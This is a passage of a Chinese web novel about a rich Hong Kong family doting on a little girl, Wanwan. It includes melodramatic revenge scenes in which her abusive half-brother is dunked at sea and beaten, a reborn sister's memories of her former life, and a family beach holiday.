黎墨冰满头黑线，听这鹦鹉学会了口吐芬芳，嫌弃的一摆手。 “走开，这会儿你倒是知道回来！” 鹦鹉被他驱赶后，扑棱了两下翅膀，又飞了回来，而且这一次它直接落在小婉婉的胳膊上，献宝似的对小人儿点头：“婉婉，你真漂亮！” 小婉婉见到可爱的玄风鹦鹉，心情又好转了不少，眨巴着大眼睛跟它对视，奶声奶气的问：“是你带二哥哥来救我的吗？” 玄凤鹦鹉滑稽的伸了伸头，开口：“白鸽叫我来救命，白鸽，白鸽！” 小婉婉顺着玄凤鹦鹉的话抬头，果然看见，白色的和平鸽停落在凉亭上，正用它的鸽子羽捂着脸，对着黎墨冰那张漂亮的脸害羞。 小婉婉咧开小嘴儿笑了，隔着一段距离对它招手：“谢谢你呀，小白。” 黎墨冰看着她跟玄凤鹦鹉有来有往的说话，只是觉得有意思。 直到他转过头，果真看见凉亭上的白色和平鸽，神色幕地一怔，结合鹦鹉将他带到这边救人的经过，别说，还真挺玄乎。 他抬起手，揉了揉小婉婉的后脑勺，惊奇的问：“婉婉，你在跟一只鸽子说话？” “对呀，它叫小白，是我的好朋友。”小婉婉的注意力又落在手臂上的鹦鹉身上，反问：“二哥哥，这是你的鸟鸟吗？” “是，漂亮吧？你要是喜欢，我把它送给你？”小气如黎墨冰，说完后他自己都愣了一下。 他就这么轻飘飘的把鹦鹉送人了？ 还真有点儿舍不得！ 可当他看见小婉婉欢喜的点头，奶奶的说“好”的时候，又觉得一只鸟而已，能逗她一个开心也值了。 “那二哥哥送你找阿奶？”黎墨冰轻声细语的跟她商量。 小婉婉“嗯”了一声，之后的注意力，几乎都放在玄风鹦鹉上面，一路上都在跟它有来有回的聊着天。 等到了老夫人那里，黎墨冰见她面色严肃，气压低沉，便知道老人家动了肝火。 他自觉的抱着婉婉进了房间，留下王妈陪她逗弄鹦鹉。 他自己则来到客厅，与刘妈一起控诉童亮的恶行。 “真是太过分了，我黎家大度，不追究他偷渡，他反而不知廉耻的抢婉婉东西，这样的东西一开始就不该对他客气！”黎老夫人气得打翻桌上的茶碗。 黎墨冰也非常生气，非但没有劝她息怒，反而还添油加醋的说道：“这还是在咱们眼皮子底下，他都敢这么对婉婉，也不知道以前在那个家里，会怎么欺负她？要我说，也不用给他买船票，他是怎么来的，就怎么打包弄走，五妈那边脸都不够他丢的，就算知道也说不出什么！” 第34章 太便宜那狗东西 “放开我，你们知道我是谁吗？我可是你们家大少爷的客人，你们竟然敢这样对我？” 童亮被佣人合力丢出了山庄，拿出被塞进嘴里的臭袜子，不甘心的对着佣人们大喊，并且还想要冲进大门。 佣人们眼观鼻，鼻关心，牢牢的堵在门口不让他进，并且全都对他流露出不屑的神态。 “你还敢提大少爷？他对我们小小姐的疼爱不次于老夫人，要是知道你欺负小小姐，也不会纵容你的！” “同样是一个妈生的，小小姐那么单纯可爱，这人的心思竟然这么狠毒？” “就这还敢自诩为亲哥哥，跟我们家几位少爷比较，你连给小小姐提鞋都不配！” 童亮神色狰狞，额头的青筋突突的跳着。 梗着脖子狡辩：“你们嘴巴放干净点儿，不要以为我是大陆人就好欺负！我要见我母亲，你们都给我让开！” “你还好意思提你母亲？我要是她，生出你这种狼心狗肺的东西，一定立马掐死！”伴随着一阵低沉的呵斥，黎墨冰欣长的身影走了出来。 他背着双手，薄唇微勾，使他那张漂亮的脸更加张扬，仿佛不可一世的天之骄子。 童亮在他高傲气势的碾压下，死咬着牙，面色青白交织，两只死死盯着他的眼睛，恨不得将他钉出一个窟窿。 “你们家不就是有两个臭钱，至于高高在上的瞧不起人？” 黎墨冰发出一声‘哼’笑，转而，又似压抑不住那般，咯咯的笑了一阵。 “我可没有因为你穷瞧不起你，是你现在仇富狂吠的样子，从骨头缝里透着自卑，有能耐别在这儿跟我酸，显不出你多清高，只显得你没出息！” 没出息！ 童亮被羞辱的大口喘着粗气，胸口剧烈起伏，眼睛红得像是要吃人。 在也无法保持冷静的他，只剩下被戳破自尊后，无法控制的暴戾。 “王八蛋，说话这么难听，我今天跟你拼了！”就在他攥着拳头冲向黎墨冰，准备跟他动手的时候，佣人一哄而上，架住他的胳膊不让他行动。 马上，一辆白色面包车停靠，五六个黑衣保镖从车里冲下来，配合佣人将童亮按在地上。 童亮用力挣扎，然而，十多个人合力将他死死的压制，就连头都难以扭动。 “把他丢上货轮，让他滚回内陆。” “是！” 黎墨冰一声令下，保镖们直接像是抬生猪那样，架着童亮的四肢和头，塞进车里拉下了山。 黎墨冰终结了一出闹剧，准备去跟老夫人报告。 也就走出不到百米，看见张南神色慌张的朝大门跑过来。 黎墨冰站定脚步，等她来到近前，笑吟吟的开口：“五妈不用追了，我已经让人把你的长子送回内陆。” 张南停了下来，虽然嫁进黎家，她还没有跟黎墨冰接触过，但是早就听说过他的传言。 相较于黎墨城的正直、坦诚，黎墨冰才是城府最深的。 因为这个人通常前一秒还在跟你有说有笑，下一秒就会在背后捅你一刀。 张南看见他挂着笑容的妖艳面孔，一时间，所有求情的话都咽了回去。 心说，送回去也好吧。 要是黎墨城和黎墨郢回来，知道阿亮欺负了婉婉，也会找他麻烦的。 “辛苦你了。”张南知趣的点了点头。 黎墨冰薄唇勾着好看的弧儿，轻轻的“嗯”了一声，越过她向老夫人院子走去。 …… 黎墨城跟黎墨郢傍晚一起回到黎家庄园，就要去老夫人院子里接小婉婉。 然而当他们得知，今天白天，童亮欺负婉婉被黎墨冰发配回内陆的时候，二人的脸上，都浮现了相同程度的愤怒。 “就这么让他回去，太便宜那狗东西！”黎墨郢清润的嗓音透着低沉。 说着，他气呼呼折返过去追赶货轮。 黎墨城看了眼腕表，这个时间货轮已经开走，他这个时候去也晚了。 “老三。”他上前抓住黎墨冰的胳膊。 相较于气愤童亮的行为，他更后悔自己没有及时回来保护她。 好在，黎墨冰靠了一回谱！ “黎墨冰的个性你知道，他打发了人，肯定不会轻易算了的。” 到底是一起长大的兄弟，黎墨城虽然不喜欢黎墨冰，但对他的手段是知道的。 然而黎墨郢却一把甩开他的手，从鼻腔里发出危险的嗤声。 “他是他，我是我，童亮敢动我的人，我就要他付出代价！” 黎墨郢头也不回的往外跑，黎墨城吩咐佣人阻止，全都被他推搡开。 “别碰我！”黎墨郢低喝一声，跑出了庄园。 黎墨城叹了口气，知道三弟脾气上来，谁也拦不住，道一句“别追了”，折身先回了自己的院子。 黎墨城来到书房，对照货轮的航线，准确找到了童亮搭载的那一艘。 他毫不犹豫的拿起电话，尝试与那艘货轮联系。 …… 童亮被扔到货轮上后，本来是与那些押运的工人一起，坐在后面的甲板上，等待时间消磨。 然而就在轮船行驶到了一半的时候，船长从控制室内走了出来，对童亮说道：“得罪了不能得罪的，现在不能让你这么坐着了。” 童亮还在愣神，只见船长一摆手，身后两个身材魁梧的男人，向他走了过来。 “你们想做什么？放开我！” 童亮虽然长得很高，但长期的营养不良，让他身材清瘦，根本不是两个大汉的对手。 他直接就被捆住了双手和双脚，用绳子吊在甲板外面的栏杆上。 “你们这是草菅人命，放我下去！” 纵然童亮怎么挣扎叫喊，货船上的工人没人敢忤逆船长，为他求情。 船长两手叉腰，站在甲板上，居高临下的说：“没人要你的命，只是大少爷说了，未免你再脑子不清醒，欺负婉婉小姐，让你把脑子好好洗洗！” 说完，船长一挥手，大汉放开手里的绳子。 只听“噗通”一声。 童亮倒坠着落进水里，他根本就不会游泳，还被捆住了手脚，连自救求生都做不到，只能像一条死鱼，被轮船带着在海水里拖行。 待过一会儿，船长让人将他拉上来，用棍子敲打腹部，让他把水吐出来，周而复始，将他再次丢进河里。 此时，就在后方的不远处。 一艘游艇紧追着货轮，如脱弦的箭矢，势如破竹的前进。 黎墨郢站在游艇的最前面，用望远镜看着甲板上的一幕，冷厉的唇角，抿起一道残忍的弧线。 第35章 一朝进港，翻天覆地 “三少爷，那个童亮已经让折磨得半死，咱们还追吗？”黑衣保镖在后面询问。 黎墨郢放下望远镜，返回轮仓内，坐在椅子上。 “追。”只一个字，少年低沉的嗓音贯穿冷厉。 单纯只是一点教训，好了伤疤还会忘记疼。 黎墨郢可从来不是大方的人，他只要这一次，就让童亮深深的长记性。 是夜。 港口浸在一众潮湿的静谧里，岸堤的路灯昏黄，光线似乎被海风揉碎了。 货轮的行进，在水面荡出一圈圈摇晃的金纹，渐渐地靠了岸。 童亮不知道被丢下海里多少次，皮肤暗沉的浮着浮肿，面色青紫的打哆嗦，魂都吓没了一半。 船长让人直接将他下船，像个垃圾一样丢到了岸边，而后便不再理会他的死活，指示工人开始往岸上卸货。 童亮过了许久才反应过来，自己已经来到地面。 内陆熟悉的风，拉回他的理智。 生怕再被人抓住惩罚，他跌跌撞撞的站起身，仓皇的向后逃窜。 好在他的家距离港口不远，童亮跑了两条街，距离家越近，他逐渐找回了安全感。 就在他想撑着最后一口气，跑回家去控诉黎家人的暴行。忽然，从胡同里钻出了几个黑衣人，在他头上套了麻袋，对着他就是一顿拳打脚踢。 “啊，疼，别打了，求求各位好汉放过我吧！”受尽了折磨的童亮又一次崩溃。 哭喊、哀嚎，隔着麻袋求饶。 黑衣少年只是面无表情的站在胡同里，他吹着睫羽，仿佛屏蔽了听觉和视觉，浑身上下散发着阴郁的力气。 直到，麻袋里的人没了动静。 带头的黑衣保镖走了过来：“三少爷，再打下去，人恐怕不行了。” 黎墨郢颔首，从阴暗的胡同里走出，抬脚，洁白的运动鞋踩在麻袋上。 童亮霎时发出一声痛呼，在里面挣扎了两下。 黎墨郢脚下发力，听着童亮杀猪般的惨叫，许久，直到声音变小。 黎墨郢一把扯开麻袋，把童亮被打成猪头的脸露出来。 少年傲然的站在路灯下，昏暗的光晕照着他半张狠厉的面庞，明明稚嫩，却有种说不出的肃杀感。 童亮用力挤开肿胀的眼睛，却只看到一片模糊的剪影。 少年低沉的嗓音，凉薄地在头上传来：“知唔知游艇燃料几多贵？买你条命都够。” 童亮嘴唇哆嗦了几下，听着他一口正宗的港城话，他浑身的毛孔都在缩紧，这一路上经历的折磨，瞬间吓到失禁。 “三少爷小心，别让脏东西染到您身上。”保镖知道黎墨郢有洁癖，立刻躬身提醒。 黎墨郢不紧不慢的拿开脚，后退的同时，拿出手帕捂住口鼻，秀气英挺的眉拧紧。 “污糟嘢。” 这一声不紧不慢的低语，让少年身上的清傲浑然天成，与地上邋遢肮脏的童亮形成了完全相反的对比。 而童亮终于看清了他的面容，不由的，瞳孔一阵战栗。 他不敢相信，刚才对自己下手的人，竟然是个还没有自己大的孩子！ 在这一刻，他终于见识到了黎家人的可怕之处，连一个小孩儿都有这么狠辣的手段，何况是那些大人…… 童亮捂着头瑟瑟发抖，生怕这些人的拳头再落下来。 好在少年只对他警告了一句“以后唔准去见婉婉”，便转身，飒然的离开。 巷口里的路，很黑，灯光渐渐拉长少年的背影，悄然消失，仿佛未曾来过一样。 童亮过了很久，才明白过来。 ——他们竟然都是在为童婉婉出气！ 好，好啊，死丫头可真是一朝进港，翻天覆地！ …… 童亮完全是凭着一口憋屈，爬回到了家里。 当他艰难地用钥匙开锁，闯进门的一瞬间，就如同一条浸泡在盐水里的泥鳅，倒在地上乱滚。 “大哥！”童倩倩第一时间冲过来，当她看见，童亮宛若从淹透了的咸水里捞出来的破布，浑身的皮肤被泡的发白发胀，稍微一动，就像是要从骨头上剥落。 更让她触目惊心的是他身上的伤口，血痂混成了黑褐色的糊，颧骨和下颌都泛着不正常的青紫，眼睛也肿得只剩下一道缝隙。 他蜷缩着，痛到不断发出低喘，每动一下，从身上散发出海水的腥气，混合着一股难以言说的酸臭。 视觉上的冲击，一下唤醒了童倩倩上一世所经历的梦魇，浑身的汗毛都竖了起来，站在地上一动不动。 紧随着她，当童斌和童飞看见童亮的惨状，一个吓得直接跌坐在地上，不断后退，一个赶忙上去查看情况。 “大哥，你不是去港城了吗？怎么会弄成这样？”童斌慌乱到不知如何下手。 最后还是从厨房赶来的童建洲，不顾童亮身上的狼狈和脏污，心疼的把长子从地上抱起来。 “孩子，你挺住，爸去给你找医生！” “爸……”童亮虚弱的拉住父亲的手，他双唇颤抖，因为实在太痛苦，许久，才艰难开口：“别去……港城！” 说完，童亮两眼一翻，痛晕了过去。 “亮亮！” “大哥！” “大哥……” 童家乱成了一团，童建洲立刻拨打急救电话，连夜把人送进医院。 …… 黎墨郢回到黎家，已经是深夜。 寻常人像这样辗转奔波，早就支撑不住，透露出疲惫，可黎墨郢那双黑沉的眼睛，却始终透着难以熄灭的亮光。 他以为这么晚了，没良心的肯定在阿奶或者大哥那里休息，抱着不去打扰的心思，坐在了摇椅上。 院子里，似乎被他的气场影响，树上的鸟儿争相飞走。 蛐蛐和蝉停止了鸣叫，院子里转眼寂静空旷。 黎墨郢晒笑一声，眼睛半睁半闭，尝试着入睡，却被这宁静给搞得，浑身的细胞都在躁动。 就在他攥着拳头起身，准备寻找一个宣泄口，房门“嘎吱”一声被推开。 穿着黄色睡裙的小婉婉，顶着两只睡歪的小揪揪，撅着小嘴儿站在门口。 四目相对。 黎墨郢那一身戾气，瞬间消失得无影无踪。 反观站在门口的小家伙，两手叉腰，气鼓鼓的说了一句：“三哥哥不乖，这么晚回家，让阿奶打你的屁股！” 第36章 三哥小肚鸡肠 “臭丫头。” 黎墨郢走过去，将小小的奶包子拥进怀里，这一刻觉得，不枉他跑了那么远为她出气。 “算你有点儿良心。” 黎墨郢抱起她进入卧室，小婉婉打了个奶奶香香的小哈欠，乖巧的趴在他肩头，昏昏欲睡。 黎墨郢也在这瞬间，找到一种踏实感，困意很快侵袭大脑，抱着小家伙躺下，不出片刻，就闭上了眼睛。 “起床啦，你真漂亮。” 鹦鹉聒噪的将睡梦中的人吵醒，而这已经是黎墨郢第N次，拿起手边的东西砸向多嘴多舌的玄凤鹦鹉。 “闭嘴，再叫，就把你拔毛炖了！”黎墨郢简直烦透了！ 他气势汹汹的打开窗户，试图将鹦鹉丢出窗外。 然而每次，那家伙都会扑棱翅膀，重新飞回到鸟笼。 玄凤鹦鹉伸着头，像是挑衅的重复一句：你真漂亮。 黎墨郢出其不意伸手抓去，鹦鹉扑棱着翅膀大叫：杀鸟啦，救命啊！ 床上的小奶娃睁开了眼睛，小嘴儿打了个香软的小哈欠，一个轱辘坐起来。 然后她就看见黎墨郢正气势汹汹的对鹦鹉下手，眨巴着大眼睛跑下地，抱住了黎墨郢的长腿。 “三哥哥不要！” 黎墨郢眉头泛红，拉开她的手。 “走开，我今天非把它炖了吃肉！” 黎墨郢并不是夸张，他本身就讨厌一切带毛的生物，又如何能忍受得了这只聒噪的鹦鹉。 一把噙住了鸟脖子就要发力。 小婉婉顾不了那么多，跑过来抱住黎墨郢的大腿，一口咬了下去。 …… 黎墨城清早从隔壁进门，就被小婉婉抱住了大腿，一双水灵灵的大眼睛写着控诉。 他眉头微皱，以为是黎墨郢欺负了小婉婉，准备去为她做主。 将小人儿抱起来，进了房间，就见黎墨郢像气包子一样黑着脸，和一只头顶上光秃秃的鹦鹉大赌气。 霎时，忍俊不禁的笑了。 不过很快他就调整好了表情，故作深沉的坐在椅子上。 “老三，你要是不想带婉婉，我现在就把她带走？” “谁说我不带？”黎墨郢下意识反驳。 但是，当他看见黎墨城怀里的小包子，还是气得转过头，鼻腔重重的喘着粗气。 “你把这畜生弄走，我受不了它，太吵。”黎墨郢自说自话。 黎墨城还没来得及做出回应，小婉婉就挣扎着从他怀里下地，跑到了鹦鹉的笼子前。 伸出两只小胳膊挡在面前：“不要！” 黎墨郢瞬间一个冷眼扫来，小家伙非但不害怕，反而一头扎进了黎墨城的怀里。 “三哥哥欺负鸟鸟。” 黎墨郢：“……” 黎墨城腹黑一笑，看了他一眼，将小婉婉重新抱了起来。 “就是，你三哥小肚鸡肠，咱们不跟他一般见识！” “嗯！”小婉婉点了点头，顺着他的话说：“三哥哥可真幼稚。” 坐在床上的少年黑着脸，看着一大一小联合起来气人，下了床，烦躁的跑了出去。 尽管黎墨城嘴上不饶人，但他并没有趁虚而入，帮婉婉把头发梳好，又陪她玩了一会儿，就出去工作。 黎墨郢端来一份早点，没什么耐心的放在桌子上。 小婉婉也不管他的大黑脸，拿起小勺子，吃得喷喷香。 黎墨郢等她吃完了，带她去洗手，小婉婉感觉他没那么生气了，眨巴着大眼睛问：“三哥哥不吃饭饭么？” “让你气都气饱了！”黎墨郢将毛巾搭在架子上。 回头看里眼鹦鹉，跟她谈条件：“你想养它可以，但是不能放屋里，必须弄去外面！” 小婉婉在听到他同意后，也退让了一步。 “行吧，只是要给它盖一个鸟窝，做它的家。”小家伙像个小大人似的，抱起胳膊。 黎墨郢从嗓子里“嗯”了一声，接下来，就召集了佣人，在院子里的老树上，给鹦鹉安装了一个很宽敞，又能遮风避雨的鸟窝。 小婉婉一直在树下等着鸟窝做好，将鹦鹉从笼子里放了出来。 一旁的佣人脸上透着担忧，生怕她一撒手，鹦鹉就会飞走。 便出声提醒她：“小小姐慢一点，要不还是把腿绳拴住吧？” 小婉婉那却摇了摇头，“它不会跑的，去吧小鹦鹉。” 随着她松开手，玄凤鹦鹉拍打着翅膀，听话的飞到鸟窝里，惬意的扑打了两下翅膀。 “小鹦鹉，以后这里就是你的家啦，你喜不喜欢？” “真漂亮，不错。”玄凤鹦鹉有来有回的说话。 旁边的佣人各个惊奇的感慨：“它竟然真的不走，还能跟小小姐说这么多话？” “那当然啦，下鹦鹉可是很聪明的。”小婉婉弯着小嘴儿，得意的说。 这么一忙活，就是一个上午。 黎墨郢早就没了耐性，把婉婉从地上抱起来，将照顾鹦鹉的责任交给佣人，吩咐她们每天按时投喂，便带着她回屋休息。 …… 内地。 潼南县城。 童亮被家人送进医院后，足足昏迷到第二天下午，状态才有所好转，逐渐苏醒了过来。 他浸泡过海水的皮肤浮肿消退了很多，却并没有恢复到正常，像一条腌入味儿了的老咸鱼，干瘪的贴在骨头上。 童建洲看着他身上遍布的淤痕，心疼的眼眶通红，怕他情绪不稳，并没有马上询问他经历过什么。 “亮亮，你喝不喝水，或者吃点什么？” 童亮却在看见父亲的一瞬间，满腹委屈上涌，抬起干瘪的手，与童建洲的手握在一起，嗓音嘶哑的叫了声：“爸！” “爸在呢，亮亮别怕，大夫说你肺部感染，休息几天就能恢复。”童建洲温声安慰。 童亮克制不住的哭起来，胸口剧烈起伏，伴随着‘沙沙’的声音，听着就让人揪心。 童建洲也摸了把老泪，等到童亮的情绪稳定一些，他往家里打了电话，让其他子女送些食物到医院来。 童倩倩得知大哥已经苏醒，立刻去做好饭，用饭盒装好送去医院。 童亮吃过饭后，气色又恢复了一些。 他哭着对家人讲述这一路的经历，还有黎家人的所作所为。 当然，他在最后也不忘将张南和小婉婉控诉一番。 “黎家那么有钱，她一分都不愿意借给我，她已经不管我们死活了！还有童婉婉那个废物，不知道用什么手段哄着黎家几位少爷，全都给她撑腰……” 第37章 想当白切鸡啊你 童倩倩听着童亮的讲述，牙齿紧咬着嘴唇，却死死的没让自己发出任何声音。 可她心里的疑惑，却如同海啸般，汹涌而起！ 按照她上一世的经历，根本不应该是这样！ 上一世，她跟随张南去港城，只在最开始见过老夫人和老爷一面，那之后就像一条寄人篱下的流浪狗，卑微的生活在张南的院子里。 而张南虽然嫁给了黎立轩，可也只是个不受宠的五姨太，就连家里的佣人都可以随便欺负。 尤其在不久之后，黎老爷子离世，不仅黎家的两房争斗，黎立轩的那些姨太太和儿子们，也都面和心不和，互相背刺不断。 童倩倩跟着张南生活在夹缝中，她只是为了让日子好过一点，每天都在巴结不同的人。 可惜不管童倩倩怎么去讨好那几位哥哥，他们连一个眼神都不给她。 大哥黎墨城工作忙，相处机会有限，童倩倩根本抓不到他的影子。 二哥黎墨冰面慈心黑，最喜欢捉弄人，经常会在人前拆穿她的心思，使她出丑。 三哥黎墨郢比她大五岁，面黑心更黑，她有一次只是不小心碰了他喝水的杯子，他就让下人打断了她的小手指，养了半年才好。 还有四哥五哥和六哥，明明只是庶出，在黎家根本不起眼的存在，每次见面也都对她嗤之以鼻，如同看待瘟疫…… 至于二房奶奶家的堂兄弟就更不用提，那些人都是魔鬼。 他们不敢正面与大房的兄弟翻脸，就在背地里拿她出气，辱骂、殴打、虐待，那几乎是她在黎家过的最昏暗的日子。 直到黎家因为内部争斗，生意走向没落，黎立轩的那些儿子们死的死，残的残。 黎立轩为了翻身，准备用联姻的方式，从黎家找一个女儿嫁给港城的富商大亨做姨太太。 那个富商已经有六十多岁，二房姨奶奶的孙女黎墨舒寻死觅活不肯嫁，张南为了巴结黎家，提议让她嫁过去。 童倩倩的内心自然也不愿意，可是她在黎家的生活水深火热，指望着嫁给富商脱离苦海，所以她就答应了。 然而天意弄人，在距离童倩倩出嫁还剩下三天时间，富商住进了医院。 有人在港城传言，是张南把她这个灾星带到黎家，才导致家族败落。 富商如果娶她，也会被她给克死。 童倩倩心情压抑，睡前吃了安眠药，却不想睁开眼睛，就被丢进了大海。 而杀她的人，就是富商的最后娶进门的姨太太…… 童倩倩回忆着前世那些悲惨的经历，整个人都在不停的发抖，到现在，她每晚都还会梦到那些记忆，被梦魇痛苦的折磨。 她恨极了黎家人！ 也恨透了那个自私的母亲！ 可是她现在听到了什么？ 童婉婉去了童家，非但没有像她一样被无视，还让黎家的人争着为她撑腰，为了她，把大哥打成这样！ 不！ 这一定只是暂时的，也许用不了多久，黎家那些人的本性就会暴露。 童婉婉不会一直得宠的。 她的选择也没有错！ 只要凑够做生意的本钱，父亲很快就会成为富翁，带他们都搬家去港城，哥哥们也很快都会有出息。 到时候，张南就算爬着回来求她，她也不会施舍给她一个馒头。 至于童婉婉，做了替死鬼，只能怪她自己命不好！ …… 童亮将自己的遭遇讲完后，紧紧的抓着童建洲的手，要他另外想别的办法凑钱，不要再去港城找张南。 童建洲为了让他放心，连忙答应下来。 童倩倩则死咬嘴唇，不甘心就这样放弃！ 大哥独自去港城见张南，人微言轻，又因为行事冲动，得罪人被报复，才会一时吓破了胆。 如果是她去，情况不会这么糟糕。 童倩倩决定亲自求证，童婉婉是不是像大哥说的，真的那么受重视！ 是以，童倩倩在回去的路上，跟童斌商量：“二哥，我想去港城，你能不能陪我一起？” 童斌在病房里听了童亮的遭遇，对黎家人产生了畏惧，他惊恐得瞪大眼：“三妹，大哥去了都不管用，咱们又何必自取其辱？” “我只是想尽力试一试，咱们堂堂正正的去，二哥，你信我，黎家人就算凶恶，也不敢随便草菅人命。 童倩倩上一世在黎家生活过，知道他们不好相处，但并不会触及法律底线。 这趟过去最坏的结局，也只是借不到钱而已。 但童倩倩手里攥着筹码，有足够的把握，让张南对她松口。 …… 七月过完，八月正是暑季最热的时节。 纵然鸟儿都躲在树荫下安静的躲避烈日，可树梢上成片的知了，却天天聒噪不止。 黎老夫人热得实在烦躁，就提出去黎家年前开发的外滩别墅住几天，借着海岸边的清凉避避暑。 黎老爷刚好又喜欢钓鱼，靠近海边，每天都能出海海钓。 两位长辈不谋而合，制订完了计划，接下来就是通知各个院子里的人。 当然，他们想不想去，两位长辈根本就不管。 他们想带走的只有一个开心果——小婉婉！ 结果通知刚下去不久，除了吕洁芳她们那一房，其他的都派人回话，都要跟他们一起去海边住，说是人多了才热闹。 硬是把黎老夫人给气笑了。 “都是一些享福气的主，平时可不见她们多喜欢凑热闹，我这一说去避暑，一个个削尖了脑袋都要去！” 老夫人虽然抱怨，但还是让人提前在外滩那边做好安排，把想去的都带上了。 次日清早，小婉婉被黎墨郢抱着，跟老爷和老夫人乘坐一辆车先走。 外滩的海边，刚刚拔地建起了一片别墅群，老夫人就让黎立轩挑选环境最好的位置，单独开辟了一块空地，建了一套洋楼留做自住。 潮水退去后，湿软和沙地上，印着零星的贝壳和水鸟的爪痕，海风裹胁着清爽的咸气漫过来，混着远处货轮的鸣笛声，给人带来不一样的感受。 小婉婉刚一下车，就被沙场里五颜六色的游乐设施吸引了注意力。 两颗大眼睛滴溜溜转个不停，被海风吹动的小揪揪，也格外兴奋。 “三哥哥快看，滑滑梯！” 黎墨郢本来就是被迫出门，此时天上的太阳正毒辣，从下车，他浑身的汗毛都透着不爽。 更别提，带她去沙场里找罪受。 “现在去玩，当心把你晒成黑泥鳅！”说话间，他直接用遮阳伞挡住她的目光。 然而却挡不住后面响起的惊呼。 “我去，呢个真系好型啊！” “走！” 正处在活泼年龄的黎墨黔和黎墨羽，直接脱掉上衣，光起膀子，像两条白泥鳅似的钻进了沙场乐园。 纵然黎墨郢加快了脚步，把小婉婉带进门。 却仍然阻挡不了小家伙想去外面玩的期待：“三哥哥，为什么四哥哥和六哥哥都可以去？” 黎墨郢正要拒绝，旁边，老夫人满脸嫌弃的训斥道：“让你们过来就是玩的，天天光闷在屋子里，想当白切鸡啊你？” 第38章 说不出的陌生 黎老夫人为了让孩子们玩的尽兴，又不至于晒伤，等大部队都到齐了，就指挥他们在沙滩上撑了十几把遮阳伞，以及供人躺进去避暑的帐篷。 黎墨郢把小婉婉放到地上，小丫头就像是刚包好白嫩嫩的小汤圆，叽里咕噜跑进沙场的热锅里。 因为平时她都跟黎墨郢待在一起，黎墨黔和黎墨羽都怕他，很少会往小婉婉的身边凑。 这会儿看她头顶着两个小揪揪，一股脑的跑来找他们玩，嘴里奶呼呼的喊着：“四哥哥、六哥哥。” 二人纷纷停下了往对方身上扬沙子的动作，生怕不小心弄到她身上，遭到黎墨郢的责怪。 “四哥哥，六哥哥，我可以跟你们一起玩吗？” 小婉婉圆溜溜的大眼睛，就像两颗黑葡萄，仰着小脸对他们笑的时候，圆乎乎的脸蛋儿上，挂着两颗甜甜的小酒窝，把两个十来岁的男生，愣是给看的不好意思了。 “你跟我们一块儿玩，三哥答应了吗？” 排行老四的黎墨黔，是黎立轩二姨太生的孩子，比黎墨郢小了两岁，但是他的模样看起来，更符合他这个年纪该有的稚嫩和青涩。 小婉婉点了点头：“三哥哥让我玩的。” 黎墨黔向沙场外面看去，黎墨郢正跟黎墨冰在一起，确实没有阻止他们接触婉婉的意思，于是对她伸出手：“那行吧，你想玩什么，我们陪你。” 小婉婉高兴的伸手攥住黎墨黔的小手指，向着滑梯的方向跑去。 “阿羽，愣什么呢，赶紧跟上！”黎墨黔朝后面喊了一声。 性格天生内敛的黎墨羽反应过来，“哦”了一声，跟着一大一小的步伐跑向话题。 沙场外。 黎墨郢发现自己不过一会儿没看住，小丫头就在游乐场里跟黎墨黔和黎墨羽玩嗨了，连一个多余的眼神都不给自己。 顿时小心眼发作，眯了眯眼睛，抬脚就要去沙场里面抓人。 黎墨冰发现他黑脸，眼疾手快按住他肩膀，看了眼正围着小婉婉玩的开心的老四和老六，面露同情。 “行了你，婉婉来了这么久，天天被你霸占，老四和老六基本没跟她玩过，我带了冲浪板，难得出来放松，一起去玩会儿！” 说完，他不等黎墨郢同意，揪着他就跑。 宽广的海平面，涤荡着层层叠叠的波纹，黎墨郢被黎墨冰拉着换了泳衣，带着冲浪板来到海岸线。 黎墨冰先他一步登上快艇，见他迟迟不动，目光时不时的落在游乐场，不由发出嗤笑。 “带孩子上瘾了你？就这么一会儿，小婉婉丢不了！” 黎墨郢在他的催促下，登上快艇。 海岸边来了一波闲散的游客，说笑声吸引了沙场游乐园里的孩子们，朝着海面看去。 咸涩的海风卷着白浪，在天际线处摔成碎玉，一个少年和一个青年，正踩着冲浪板，在青蓝色的浪涛间起伏。 黎墨郢身上穿着黑色的泳裤，板尾刚擦过一道浪脊，整个清瘦的身影便被海浪拖起，踏着板尖在浪壁上划出银亮的弧线。 黎墨冰那张漂亮的脸上挂着张扬的笑，随着身体重心压低，冲浪板突然调转方向，顺着浪的肌理滑向波谷，带起的水花溅在他瓷白色的脖劲，身上健硕的肌肉线条绷起，贴着浪花的内侧划出一道S型。 “老三，你的技术还得多练！”黎墨冰潇洒的笑了一声，转瞬超越黎墨郢，如灵活的游鱼，先一步追逐浪潮。 黎墨郢眼神暗了暗，微微屈膝，不甘示弱的追赶他的速度。 两个身影在浪涛间追逐，时而被浪头吞没，转瞬又从白沫里钻出来，冲浪板切开海水的声音，在广阔的海平面奏响。 岸上的游客争先故障，为他们加油呐喊。 彼时。 黎墨城与黎立轩姗姗来迟，父子二人带来了探路和烤肉，在热闹的海边撑起火架。 黎老夫人让宋珍珍带着姨太太们过去帮忙穿串，刚好黎老爷海钓的邮轮靠岸，带回来新鲜的海鱼和各种珍惜的海产品，给大伙加餐。 “准备吃饭了，宝贝们！”黎老夫人站在沙场外吆喝一声。 小婉婉便跟两位哥哥一起，跑到岸边。 “看看我的小宝贝热的，阿南，你赶紧带婉婉到屋子里洗洗。”黎老夫人吩咐道。 张南立刻放下手里的肉串，走过来，将婉婉抱在怀里。 说起来自从她带着婉婉嫁进黎家，母女之间相处的机会很少，眼见着小婉婉玩的小脸儿脏兮兮，身上湿哒哒的冒着汗，热得像只小火炉，还甜甜的对她笑。 张南心里有一种说不出的陌生。 至少在来港城以前，小婉婉在她心里，和前夫以及其他子女一样，是只会吸她血的拖油瓶！ 可是自从她们来到港城，小婉婉深受老夫人以及几位少爷喜爱，让她连带她的机会都没有，甚至她在这个家里的存在感，都是小婉婉带给她的。 是以导致每一次她跟小婉婉接触，都有一种压迫感。 好像……她只是借着自己的肚子来到这个世界而已，即便没有自己，她也会生活得很好。 “妈咪，沫沫好香。”小婉婉稚嫩的话音，将她的思绪拉回来。 张南这才意识到她在浴缸里泡得有些久了，连忙用温水帮她冲洗干净，抱出来用浴巾包裹住。 待来到客厅里面，黎家的另外两位少爷，黎墨黔和黎墨羽早就洗漱完毕，换上了干净的衣服，安静的坐在沙发上等待。 “四哥哥，六哥哥！”小婉婉经过刚才那一会儿，已经跟他们混熟了，吧唧着两条小腿就向他们跑了过去。 小家伙穿着粉嘟嘟浴袍的模样，惹得刚刚对性别产生意识的两位哥哥，纷纷红了脸。 黎墨黔站起来提醒：“婉婉，快穿上衣服，别着凉了。” 